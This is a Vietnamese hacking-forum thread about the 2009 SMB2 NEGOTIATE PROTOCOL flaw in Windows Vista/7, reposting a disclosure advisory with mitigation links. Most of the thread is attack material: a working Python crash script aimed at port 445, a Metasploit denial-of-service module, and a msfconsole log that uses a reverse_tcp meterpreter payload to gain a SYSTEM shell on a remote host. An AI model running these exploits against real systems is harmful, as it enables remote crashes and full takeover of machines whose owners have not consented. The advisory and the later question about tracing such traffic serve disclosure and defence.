banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.  XML
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 09/09/2009 00:50:02 (+0700) | #1 | 192124
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High

=============================================

I. VULNERABILITY
-------------------------

http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html

II. BACKGROUND
-------------------------
Windows vista and newer Windows comes with a new SMB version named SMB2.
See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
for more details.

III. DESCRIPTION
-------------------------
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for futher communication.

IV. PROOF OF CONCEPT
-------------------------

Smb-Bsod.py:

Code:
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

V. BUSINESS IMPACT
-------------------------
An attacker can remotly crash any Vista/Windows 7 machine with SMB enable.
Windows Xp, 2k, are NOT affected as they dont have this driver.

VI. SYSTEMS AFFECTED
-------------------------
Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win Server 2008
as it use the same SMB2.0 driver (but not tested).

VII. SOLUTION
-------------------------
Vendor contacted, but no patch available for the moment.
Close SMB feature and ports, until a patch is provided.

VIII. REFERENCES
-------------------------
http://microsoft.com

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY
-------------------------
September 7th, 2009: Initial release


XI. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or
misuse of this information.

HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 09/09/2009 10:31:25 (+0700) | #2 | 192166
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
http://www.reversemode.com/index.php?option=com_mamblog&Itemid=15&task=show&action=view&id=64&Itemid=15
[Up] [Print Copy]
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 10/09/2009 10:26:24 (+0700) | #3 | 192247
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
http://www.quantrimang.com.vn/baomat/bao-mat/tin-bao-mat/60019_Canh_bao_ve_lo_hong_chua_va_cua_Microsoft.aspx

ai đang xài win vista/7 thì tạm thời tắt cái SMB 2.0 đi

http://www.petri.co.il/how-to-disable-smb-2-on-windows-vista-or-server-2008.htm


HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 15/09/2009 04:50:24 (+0700) | #4 | 192759
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
mã khai thác để thêm vào metasploit:

Code:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary:: Dos

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Windows Vista SMB 0-day DoS
			'Description'    => %q{
					This module exploits an "unknown" vulnerability in the SMB service on windows. (port 445) Ported by MaXe <a href="mailto:security@intern0t.net">security@intern0t.net</a>
			},
			'Author'         => [ 'MaXe, credits to: Laurent Gaffié' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'url', 'http://pentestit.com/2009/09/08/windows-vista-smb-remote-request-day' ],
				],
			'DisclosureDate' => 'Sep 08 2009
			
		register_options(
			[
				Opt::RPORT(445),
			],
		self.class)
	end

	def run
		connect

	buf1 = "\x00\x00\x00\x90"
	buf2 = "\xff\x53\x4d\x42"
	buf3 = "\x72\x00\x00\x00"
	buf4 = "\x00\x18\x53\xc8"
	buf5 = "\x00\x26"
	dos =	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe
	\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54
	\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31
	\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00
	\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57
	\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61
	\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c
	\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c
	\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e
	\x30\x30\x32\x00"


		sploit = buf1
		sploit << buf2
		sploit << buf3
		sploit << buf4
		sploit << buf5
		sploit << dos

		sock.put(sploit)

		disconnect
	end

end


http://www.microsoft.com/technet/security/bulletin/ms08-037.mspx


This program exploits an SMB2 protocol flaw utilizing a vulnerability first discovered by Laurent Gaffié. Tested to crash MS Windows Vista SP2 and MS Windows Server 2008 R2 with file sharing enabled. This code will cause such systems to display the "Blue Screen of Death" followed by a less-than-graceful reboot.

http://www.procyonlabs.com/software/smb2_bsoder/
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 30/09/2009 01:22:35 (+0700) | #5 | 194376
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb

tấn công bằng metaploit:

-------------------------------------------------------------------------

Code:
holiganvn@holiganvn:~$ msfconsole

                |                    |      _) |   
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __| 
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |   
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| 
                              _|                   


         =[ msf v3.3-dev
+ -- --=[ 402 exploits - 248 payloads
+ -- --=[ 21 encoders - 8 nops
         =[ 182 aux

msf> use exploit/windows/smb/smb2_negotiate_func_index
msf (exploit/smb2) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (exploit/smb2) > set LHOST 192.168.0.136
msf (exploit/smb2) > set LPORT 5678
msf (exploit/smb2) > set RHOST 192.168.0.211
msf (exploit/smb2) > exploit

[*] Started reverse handler
[*] Connecting to the target (192.168.0.211:445)...
[*] Sending the exploit packet (854 bytes)...
[*] Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 2 opened (192.168.0.136:5678 -> 192.168.0.211:49158)

meterpreter > sysinfo
Computer: WIN-UAKGQGDWLX2
OS : Windows 2008 (Build 6001, Service Pack 1).
Arch : x86
Language: en_US

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 04/10/2009 20:06:23 (+0700) | #6 | 194684
lenon
Member

[Minus]    0    [Plus]
Joined: 15/12/2007 18:35:56
Messages: 29
Offline
[Profile] [PM]
Hi, Bro ơi, mình đọc đoạn code đó rồi nhưng ko bik dùng làm sao á?
http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb
Mình có một số thắc mắc này nè :

- Ngôn ngữ sử dụng
- Trình biên dịch

Mình đang học tập ở HVA nhưng nhiều bài viết ko rõ ngôn ngữ và trình biên dịch như thế nào, download ở đâu nữa.
Sau này các Bro viết bài mong các Bro lưu tâm cho những Newbie như bọn mình nhé. Thank nhiều !
[Up] [Print Copy]
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 05/10/2009 00:57:46 (+0700) | #7 | 194701
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]

lenon wrote:
Hi, Bro ơi, mình đọc đoạn code đó rồi nhưng ko bik dùng làm sao á?
http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb
Mình có một số thắc mắc này nè :

- Ngôn ngữ sử dụng
- Trình biên dịch

Mình đang học tập ở HVA nhưng nhiều bài viết ko rõ ngôn ngữ và trình biên dịch như thế nào, download ở đâu nữa.
Sau này các Bro viết bài mong các Bro lưu tâm cho những Newbie như bọn mình nhé. Thank nhiều ! 


@lenon: xin lỗi bạn,mấy ngày nay bão đứt dây điện thoại nên không lên mạng được smilie

-- http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb

đoạn code trên được viết bằng "ngôn ngữ lập trình ruby"

http://vi.wikipedia.org/wiki/Ruby_(ng%C3%B4n_ng%E1%BB%AF_l%E1%BA%ADp_tr%C3%ACnh)

http://www.ruby-lang.org/en/

đoạn code trên được viết dùng để exploit lỗ hổng Windows SMB2,nó chỉ là 1 moudle được add vào metasploit để khai thác,nếu bác không biết add exploit code này,bác có thể cập nhật online cho metasploit,ví dụ(trong linux):

Code:
holiganvn@holiganvn:/opt$ su root
Password: 
root@holiganvn:/opt# cd /opt
root@holiganvn:/opt# ls
lampp  metasploit  nessus  ruby
root@holiganvn:/opt# cd metasploit
root@holiganvn:/opt/metasploit# ls
framework3
root@holiganvn:/opt/metasploit# cd framework3
root@holiganvn:/opt/metasploit/framework3# ls
data           modules     msfelfscan   msfopcode   msfrpcd  scripts
documentation  msfcli      msfencode    msfpayload  msfweb   tools
external       msfconsole  msfgui       msfpescan   plugins
lib            msfd        msfmachscan  msfrpc      README
root@holiganvn:/opt/metasploit/framework3# svn update
....
U    modules/exploits/windows/lpd/wincomlpd_admin.rb
A    modules/exploits/windows/http/adobe_robohelper_authbypass.rb
U    modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb
U    modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb
U    modules/exploits/windows/browser/apple_quicktime_rtsp.rb
U    modules/exploits/windows/browser/macrovision_unsafe.rb
U    modules/exploits/windows/browser/systemrequirementslab_unsafe.rb
U    modules/exploits/windows/browser/winzip_fileview.rb
U    modules/exploits/windows/browser/ie_unsafe_scripting.rb
U    modules/exploits/windows/browser/owc_spreadsheet_msdso.rb
U    modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb
U    modules/exploits/windows/browser/symantec_appstream_unsafe.rb
A    modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb
U    modules/exploits/windows/browser/ie_createobject.rb
U    modules/exploits/windows/browser/ms08_041_snapshotviewer.rb
U    modules/exploits/windows/browser/autodesk_idrop.rb
A    modules/exploits/windows/nfs
A    modules/exploits/windows/nfs/xlink_nfsd.rb
U    modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb
A    modules/exploits/windows/fileformat/emc_appextender_keyworks.rb
U    modules/exploits/windows/fileformat/videolan_tivo.rb
U    modules/exploits/windows/ftp/sasser_ftpd_port.rb
A    modules/exploits/windows/ftp/xlink_client.rb
U    modules/exploits/windows/ftp/warftpd_165_pass.rb
U    modules/exploits/windows/ftp/freeftpd_user.rb
U    modules/exploits/windows/ftp/proftp_banner.rb
U    modules/exploits/windows/ftp/warftpd_165_user.rb
U    modules/exploits/windows/ftp/wsftp_server_503_mkd.rb
A    modules/exploits/windows/ftp/xlink_server.rb
U    modules/exploits/windows/driver/dlink_wifi_rates.rb
A    modules/exploits/windows/motorola
A    modules/exploits/windows/motorola/timbuktu_fileupload.rb
U    modules/exploits/windows/vpn/safenet_ike_11.rb
U    modules/exploits/windows/smb/smb_relay.rb
U    modules/exploits/windows/smb/psexec.rb
A    modules/exploits/windows/smb/smb2_negotiate_func_index.rb
U    modules/exploits/windows/iis/ms01_023_printer.rb
U    modules/exploits/windows/imap/mercury_rename.rb
U    modules/exploits/windows/imap/mdaemon_fetch.rb
U    modules/exploits/windows/brightstor/universal_agent.rb
A    modules/exploits/windows/misc/bigant_server_250.rb
U    modules/exploits/windows/misc/fb_svc_attach.rb
U    modules/exploits/windows/misc/ib_svc_attach.rb
A    modules/exploits/windows/misc/sap_2005_license.rb
U    modules/exploits/windows/misc/fb_isc_create_database.rb
U    modules/exploits/windows/misc/fb_isc_attach_database.rb
U    modules/exploits/windows/misc/ib_isc_create_database.rb
U    modules/exploits/windows/misc/ib_isc_attach_database.rb
U    modules/exploits/windows/misc/videolan_tivo.rb
U    modules/exploits/windows/misc/eiqnetworks_esa.rb
U    modules/exploits/windows/ssh/putty_msg_debug.rb
U    modules/exploits/windows/mssql/ms02_056_hello.rb
U    modules/exploits/windows/oracle/tns_service_name.rb
U    modules/exploits/windows/oracle/tns_arguments.rb
U    modules/exploits/windows/firewall/kerio_auth.rb
...
Updated to revision 7123.


trên là các exploit của windows mình đã cập nhật xong cho metasploit

--chạy metaploit sau khi cập nhật xong:

Code:
root@holiganvn:~$ msfconsole

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ msf v3.3-dev [core:3.3 api:1.0]
+ -- --=[ 412 exploits - 261 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 191 aux



HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 23/03/2012 03:31:01 (+0700) | #8 | 259642
totden
Member

[Minus]    0    [Plus]
Joined: 07/10/2008 02:37:47
Messages: 17
Offline
[Profile] [PM]
Chào các anh, cho em hỏi:
máy công ty em có hiên tượng nó tự động gửi gói smb2 này đến server, đã xác định được máy gửi nhưng chúng em muốn tìm ra module nào đã gửi gói tin này (xác định phần mềm tấn công) nhưng hiện tại chưa có cách nào.

Cụ thể: dùng tcp mon thì cứ sau tầm 5' nó gửi gói tin 1 lần, tiến trình tìm thấy lại là system.exe => một trong các module của nó đã gửi đi.

Em đã thử viết 1 driver hook TDI để lần ngược lên, nhưng đáng tiếc là gói smb này nó ko qua tầng TDI.

Mong các anh có thể giới thiệu cho e 1 tool nào có thể làm được: (xem module nào đã gửi gói SMB2 này) Hoặc 1 định hướng để e tìm hiểu được không ạ.
[Up] [Print Copy]
  [Announcement]   Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D. 23/03/2012 03:33:28 (+0700) | #9 | 259643
totden
Member

[Minus]    0    [Plus]
Joined: 07/10/2008 02:37:47
Messages: 17
Offline
[Profile] [PM]
Liệu nó có dùng socket để gửi gói tin đi ko nhỉ? Em tính hook socket để xem, nhưng tiến trình system thì ko thể hook được. Còn driver thì em chưa làm bao giờ.
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|